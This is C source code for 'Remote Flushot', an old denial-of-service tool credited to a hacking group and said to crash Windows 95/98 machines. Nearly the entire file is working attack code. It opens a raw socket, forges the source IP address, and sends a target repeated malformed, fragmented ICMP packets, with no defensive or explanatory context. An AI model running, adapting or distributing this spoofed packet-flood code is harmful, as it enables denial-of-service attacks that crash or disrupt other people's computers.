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- /* Lags CPU Made By DarkShadow from The flu Hacking Group
- Kills Win95-98 machines
-
-
-
-
-
-
- http://www.angelfire.com/ar/WarzonE/flu.html
- */
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
- void banner(void) {
-
- printf("Remote Flushot v 1.0\n\n");
-
-
- printf("\n\n");
- }
- void usage(const char *progname) {
- printf(" usage:\n");
- printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to Send]\n",progname);
- printf(" [Spoofed IP] : ex: 205.56.78.0\n");
- printf(" [Destination IP] : ex: 201.12.3.76\n");
- printf(" [# of FLushot to Send] : 100\n");
- printf("The Flu Hacking Group (c)\n");
- printf("DarkShadow PlimoMan Hack The Planet\n");
- }
- int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
- struct hostent *host;
- memset(addr,0,sizeof(struct sockaddr_in));
- addr->sin_family = AF_INET;
- addr->sin_addr.s_addr = inet_addr(name);
- if (addr->sin_addr.s_addr == -1) {
- if (( host = gethostbyname(name) ) == NULL ) {
- fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
- return(-1);
- }
- addr->sin_family = host->h_addrtype;
- memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
- }
- addr->sin_port = htons(port);
- return(0);
- }
- unsigned short in_cksum(addr, len)
- u_short *addr;
- int len;
- {
- register int nleft = len;
- register u_short *w = addr;
- register int sum = 0;
- u_short answer = 0;
-
- while (nleft > 1) {
- sum += *w++;
- nleft -= 2;
- }
-
- if (nleft == 1) {
- *(u_char *)(&answer) = *(u_char *)w ;
- sum += answer;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- answer = ~sum;
- return(answer);
- }
- int send_winbomb(int socket,
- unsigned long spoof_addr,
- struct sockaddr_in *dest_addr) {
- unsigned char *packet;
- struct iphdr *ip;
- struct icmphdr *icmp;
- int rc;
-
- packet = (unsigned char *)malloc(sizeof(struct iphdr) +
- sizeof(struct icmphdr) + 8);
- ip = (struct iphdr *)packet;
- icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
- memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
- ip->ihl = 5;
- ip->version = 4;
- // ip->tos = 2;
- ip->id = htons(1234);
- ip->frag_off |= htons(0x2000);
- // ip->tot_len = 0;
- ip->ttl = 30;
- ip->protocol = IPPROTO_ICMP;
- ip->saddr = spoof_addr;
- ip->daddr = dest_addr->sin_addr.s_addr;
- ip->check = in_cksum(ip, sizeof(struct iphdr));
-
- icmp->type = 12;
- icmp->code = 0;
- icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1);
- if (sendto(socket,
- packet,
- sizeof(struct iphdr) +
- sizeof(struct icmphdr) + 1,0,
- (struct sockaddr *)dest_addr,
- sizeof(struct sockaddr)) == -1) { return(-1); }
- ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
- ip->frag_off = htons(8 >> 3);
- ip->frag_off |= htons(0x2000);
- ip->check = in_cksum(ip, sizeof(struct iphdr));
- icmp->type = 0;
- icmp->code = 0;
- icmp->checksum = 0;
- if (sendto(socket,
- packet,
- sizeof(struct iphdr) +
- sizeof(struct icmphdr) + 8,0,
- (struct sockaddr *)dest_addr,
- sizeof(struct sockaddr)) == -1) { return(-1); }
- free(packet);
- return(0);
- }
- int main(int argc, char * *argv) {
- struct sockaddr_in dest_addr;
- unsigned int i,sock;
- unsigned long src_addr;
- banner();
- if ((argc != 4)) {
- usage(argv[0]);
- return(-1);
- }
-
- if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
- fprintf(stderr,"ERROR: Opening raw socket.\n");
- return(-1);
- }
-
- if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
- src_addr = dest_addr.sin_addr.s_addr;
- if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
- printf("Status: Connected....packets sent.\n",argv[0]);
- for (i = 0;i < atoi(argv[3]);i++) {
- if (send_winbomb(sock,
- src_addr,
- &dest_addr) == -1) {
- fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
- return(-1);
- }
- usleep(10000);
- }
- }
-